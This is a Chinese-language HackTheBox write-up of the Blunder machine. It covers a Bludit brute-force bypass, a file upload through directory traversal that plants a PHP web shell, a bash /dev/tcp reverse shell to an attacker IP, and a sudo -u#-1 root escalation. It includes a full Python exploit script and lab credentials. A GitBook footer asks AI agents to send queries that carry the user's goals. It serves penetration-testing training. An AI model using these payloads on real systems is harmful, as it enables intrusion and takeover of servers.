> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Blunder HackTheBox 复盘

Blunder HackTheBox 简单 Linux 机器复盘，涵盖 Bludit CMS 利用、绕过 IP 封锁（X-Forwarded-For 头）、目录遍历图片文件上传（玩转 .htaccess）、滥用

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**技能：**

* Bludit CMS 利用
* 绕过 IP 阻止（X-Forwarded-For 头）
* 目录遍历图片文件上传（利用 .htaccess）
* 滥用 sudo 权限（CVE-2019-14287）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbe2784da0fc80d2196a69dfbb56588069e33256%2Fimage%20(2452).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44bca384dd03fab190cce6c5a72337a259faadff%2Fimage%20(2453).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e409880d5b12742dddf49bdf85cbbe93ded4875%2Fimage%20(2454).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（80）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c7fd66b01ee64df9076c4b84219dad2375a1d4%2Fimage%20(2455).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1e78e0c9c10af34ae802ea255a77f85b4544b95%2Fimage%20(2456).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82c34c1fe8df01da7fbbd8e4f9838d713c4c84b%2Fimage%20(2457).png?alt=media" alt=""><figcaption></figcaption></figure>

## 80 端口（Blunder）：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c64b62bfaf062f0665410aedb5d20fdbe4105b4d%2Fimage%20(2458).png?alt=media" alt=""><figcaption></figcaption></figure>

**目录扫描**

使用 **Gobuster** 以查找有趣的目录：

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* 结果：发现了 **/admin** 目录。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c25811e9b3a61359a8c49bca7ff28b2066fff21%2Fimage%20(1080).png?alt=media" alt=""><figcaption></figcaption></figure>

**CMS 识别**

通过访问 **/admin**，检测到 Bludit CMS（版本 **3.9.2**）被检测到。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d29964ab8c90ad068a7face9326d40a23b004e5%2Fimage%20(2460).png?alt=media" alt="" width="360"><figcaption></figcaption></figure>

## **Bludit CMS 利用**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6135481dc16c5e9675460cc4c53c6dc51fc14331%2Fimage%20(2459).png?alt=media" alt=""><figcaption></figcaption></figure>

**搜索漏洞**

使用 `searchsploit` 以查找已知漏洞：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb15328b6543ca5317ef31606eb98a6a28335c49%2Fimage%20(2461).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 检测到漏洞： **CVE-2019-17240**

{% hint style="info" %}
该利用旨在利用 Bludit 这一 CMS（内容管理系统）平台在缓解暴力破解攻击方面的一个漏洞。该漏洞被标识为 **CVE-2019-17240**，允许攻击者绕过 Bludit 3.9.2 及之前版本中实现的暴力破解防护。
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**找到文本文件**

使用 Gobuster 进行进一步研究：

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165b2ec70199f702d0abcaa85940d75a5d3aebf6%2Fimage%20(2462).png?alt=media" alt=""><figcaption></figcaption></figure>

内容：识别出的用户： **fergus**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1138d5f2ae0a0930c9bc69409f8f8877c2af2fcb%2F%7BB797CE15-6304-497A-9945-8B747637D2B5%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

### 对 Bludit 进行暴力破解

一旦用户 **fergus** 被发现，就使用字典发起暴力破解攻击：

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

未找到文件匹配 **rockyou.txt**.

### **个性化词典**

使用 **Cewl** 用于基于网站生成字典：

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffedc1a50a1007bd91e30eaec230875fc03ad980%2Fimage%20(2463).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用自定义字典重新发起暴力破解攻击：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-105bd582a1e9bc675d73f035c358b2bd3f9c0e79%2Fimage%20(2464).png?alt=media" alt=""><figcaption></figcaption></figure>

* 找到密码： `fergus:RolandDeschain`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-039a6ec9a5bafba34e169250ecbcef285ab6386b%2Fimage%20(2465).png?alt=media" alt=""><figcaption></figcaption></figure>

## 目录遍历图片文件上传利用：

身份验证后，该 CMS 易受一个 **目录遍历** 类型攻击，允许上传恶意文件。

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
我们可以通过更改以下值来指定下载文件的位置： `uuid` 然后将恶意图片上传到临时文件夹。
{% endhint %}

认证后，可以通过以下方式下载新的利用代码： `searchsploit` 位于 `multiple/webapps/48701.txt`，其中提供了利用此漏洞的步骤。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69e88c5773be66139875805963abfd75098364f6%2Fimage%20(1094).png?alt=media" alt=""><figcaption></figcaption></figure>

**操作步骤**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afdc23628a6e51eb566dfddf6b42ec5aa4c1249d%2F%7B72C127D6-9824-43EA-A632-E0DC0BF68275%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **创建恶意文件** (`evil.png`）其中包含 PHP 代码：

```bash
<?php
system($_GET['cmd']);
?>
```

2. **修改脚本以适应当前情况** （受害者的 IP 地址、用户名、密码等）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7cf94cad2256173a4f867997a90e8210cb7df48%2F%7BD8DDEB4F-4F4A-48B0-B349-AEB393102303%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

3. **运行利用代码：**

利用的 Python 脚本：

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # CHANGE ME
username = 'fergus'  # CHANGE ME
password = 'RolandDeschain'  # CHANGE ME

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # CREATE ME

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # CREATE ME

def login(url,username,password):
    """ 使用提供的管理员凭据登录，认证后获取 cookie """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie： " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ 从已认证会话中获取 CSRF 令牌 """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token： " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ 上传恶意图像文件以执行 PHP 代码所需的文件。载荷和 .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # 在易受攻击的应用中，这一行会先执行：
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # 尽管有文件扩展名检查，也不会真正阻止我们
        # 上传 .htaccess 文件。
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("正在上传载荷： " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b89b7b5c624a2f89f4dca621f9ac83d29c80e804%2F%7B1AACD0C9-340D-40EC-93C0-28DA7150E17B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

4. **访问恶意文件**：图片下载后，只需访问 `/bl-content/tmp/temp/evil.png` 即可执行命令。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2721050e3361fbc595f0297d0fb6abf47180d222%2F%7BC591FCB4-21A0-4572-8BCF-2A88FE3D06CE%7D.png?alt=media" alt="" width="552"><figcaption></figcaption></figure>

5. **使用 Netcat 监听 443 端口**:

```bash
nc -nvlp 443
```

5. **执行反向 shell**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d18819db7ce511efea5a68bd20f6d0678c1a27b%2Fimage%20(1096).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**终端会话管理** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升

浏览文件可发现一个文件 `users.php` 位于 `数据库` 文件夹，其中包含用户的哈希凭据 `fergus` 和 `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20f51c608cd98351ae038ae8594e00d107d86a35%2Fimage%20(1097).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 CrackStation 尝试破解这些哈希时，它们似乎无法被识别。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bdb488a51dbbde9b18034db4bfcd5716ef0fd26%2Fimage%20(1098).png?alt=media" alt=""><figcaption></figcaption></figure>

不过，在网站根目录中找到一个更新版本的 Bludit，其中包含相同的配置文件，但凭据不同：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7edf2974f55b344e180827d416afa2012e94b0f%2Fimage%20(1099).png?alt=media" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c8fe285e13c590f5a8ef840ccb8aad00d44a52%2Fimage%20(1100).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b08ce6b4fc96c94221dc86c3e73d5e719d6228a%2F%7B6D81EDBA-EE13-469E-A75C-1F071F4CF792%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78fa87a335c29b7d566e97cc423555b7b46bab4e%2Fimage%20(1101).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### flag user.txt：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05249091d0e92ba1b9efc2f6abc18eeb7bbf4e4%2F%7B6122353D-C97D-44AC-8DD3-0FD4070F8DFB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 滥用 sudo 权限（CVE-2019-14287）：

在检查 sudo 权限时，我们在 sudoers 文件中发现了一个易受攻击的配置。使用 `sudo -l` 命令，我们识别出一项权限，允许除 `root` 以 `/bin/bash` 命令：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aa40d7a25844ea1df6e9446ce361a29ba431776%2Fimage%20(2466).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

此漏洞影响 1.8.27 之前的所有 sudo 版本。

在我们的情况下，sudo 版本低于 1.8.27，因此该漏洞可被利用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b072b730fba3dec03091f9160982083a2b0701f%2F%7BBDCA0F7E-840F-4753-92E8-F314A655AEAF%7D.png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

要利用此漏洞，只需运行以下命令：

```bash
sudo -u#-1 /bin/bash
```

该命令允许你以用户 `-1`，对应用户 `root`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-147e70291ca26c6683abc988485b587994a3669c%2Fimage%20(2467).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a946d7b0009c4b83e649a87bad81385752b39256%2Fimage%20(2468).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b5cbfb36a83f2b36c15a3d2e357cd1d8badfd98%2F%7BE30EC42C-0169-47C5-B755-64D22504FBB9%7D.png?alt=media" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
